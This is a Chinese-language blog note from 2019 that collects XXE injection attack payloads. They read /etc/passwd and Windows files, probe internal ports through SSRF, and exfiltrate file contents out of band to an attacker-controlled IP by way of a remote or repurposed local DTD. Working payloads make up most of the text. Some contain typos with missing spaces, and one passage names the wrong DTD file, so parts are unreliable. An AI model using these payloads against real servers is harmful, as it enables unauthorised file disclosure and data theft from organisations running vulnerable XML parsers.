XXE注入高端操作攻击payload汇总【补】
- 2019 年 10 月 10 日
- 筆記
1、有回显—读服务器文件:
外部一般实体:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITYcontent SYSTEM"file:///etc/passwd">]>
<name>&content;</name>

2、SSRF—探测端口:
适用于有回显和blind xxe,也是外部一般实体:
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY contentSYSTEM "http://10.165.89.150:88">]>
<name>&content;</name>
根据响应时间判断:
开放端口,响应时间为16millis:

未开放端口,延迟反应1047millis:

3、Blind xxe
控制web服务器任意发包:

<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITYcontent SYSTEM " http://<oursite>/hhhhhhh">]>
<name>&content;</name>
这样可以控制服务器向我们自己的服务器发包,上面我们请求了自己的服务器上一个不存在的文件/hhhhh,通过日志可以看到请求发送成功。这里请求web服务器的方法也可以换成请求任意端口,然后在我们的服务器开启nc监听。
4、OOB blind
OOB(Out-Of-Band)是个通用的技巧,在其他漏洞场景也有利用。在这里其实是1和3的结合,发两个包,分别请求web服务器的敏感文件和我们的服务器,以此将数据带出:
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY% files SYSTEM "file:///etc/passwd">
<!ENTITY% send SYSTEM "http://myip/?a=%files;">
%send;]>
但由于XML解析器不会解析同级参数实体的内容,所以我们在自己的服务器上放一个dtd文件,然后通过请求远程调用这个外部实体(像RFI)。

向服务器发送请求:
<?xml version="1.0"encoding="utf-8"?>
<!DOCTYPE dataSYSTEM "http://10.165.89.150:88/xxe.dtd">
<data>&send;</data>
150服务器上的DTD文件如下:
<!ENTITY % fileSYSTEM "file:///C:/jayway.txt">
<!ENTITY % all"<!ENTITY send SYSTEM'http://10.165.89.150:88/?%file;'>">
%all;
梳理一下数据流向:xml发包,重定向到dtd文件,把结果赋给data——>转入服务器的dtd文件,dtd中首先请求了web服务器的C盘文件,内容赋给file参数——>再请求我们的服务器,并将file参数作为请求的一部分,赋值给send,send送给外层的% all——>%all执行实体——>从dtd中出去,执行普通实体send。最终会把web服务器的数据带到我们的服务器的日志中:

TIP:实体分普通实体和参数实体,区别是参数实体有%;而且参数实体在[]内执行,普通实体需要在外单独执行。这里请求使用参数实体也可以,效果是一样的:
<?xml version="1.0"?>
<!DOCTYPE data[
<!ENTITY % remoteSYSTEM " http://10.165.89.150:88/xxe.dtd ">
%remote;
%send;]>
<data>4</data>
5、本地DTD
用于web服务器和我们的服务器之间存在防护墙的情况,每个操作系统都自带dtd文件,可以在目标主机上重新定义一些参数实体来强制执行本地dtd文件:比如windows下有C:WindowsSystem32wbemxmlcim20.dtd:

则可以构造payload,实现同样的效果:
<?xmlversion="1.0"?>
<!DOCTYPEmessage [
<!ENTITY % remote SYSTEM
"file:///C:/Windows/System32/wbem/xml/cim20.dtd">
<!ENTITY % file SYSTEM "file:///C:/jayway.txt">
<!ENTITY % SuperClass '
<!ENTITY % eval"<!ENTITY &#x25; send SYSTEM 'http://10.165.89.150:88/?%file;'>">
%eval;
%send;
'>
%remote;
]>
<message>1234</message>
这里使用三层参数实体嵌套,在docbookx.dtd文件中调用了% SuperClass,在SuperClass定义的实体中相继调用了eval、和send。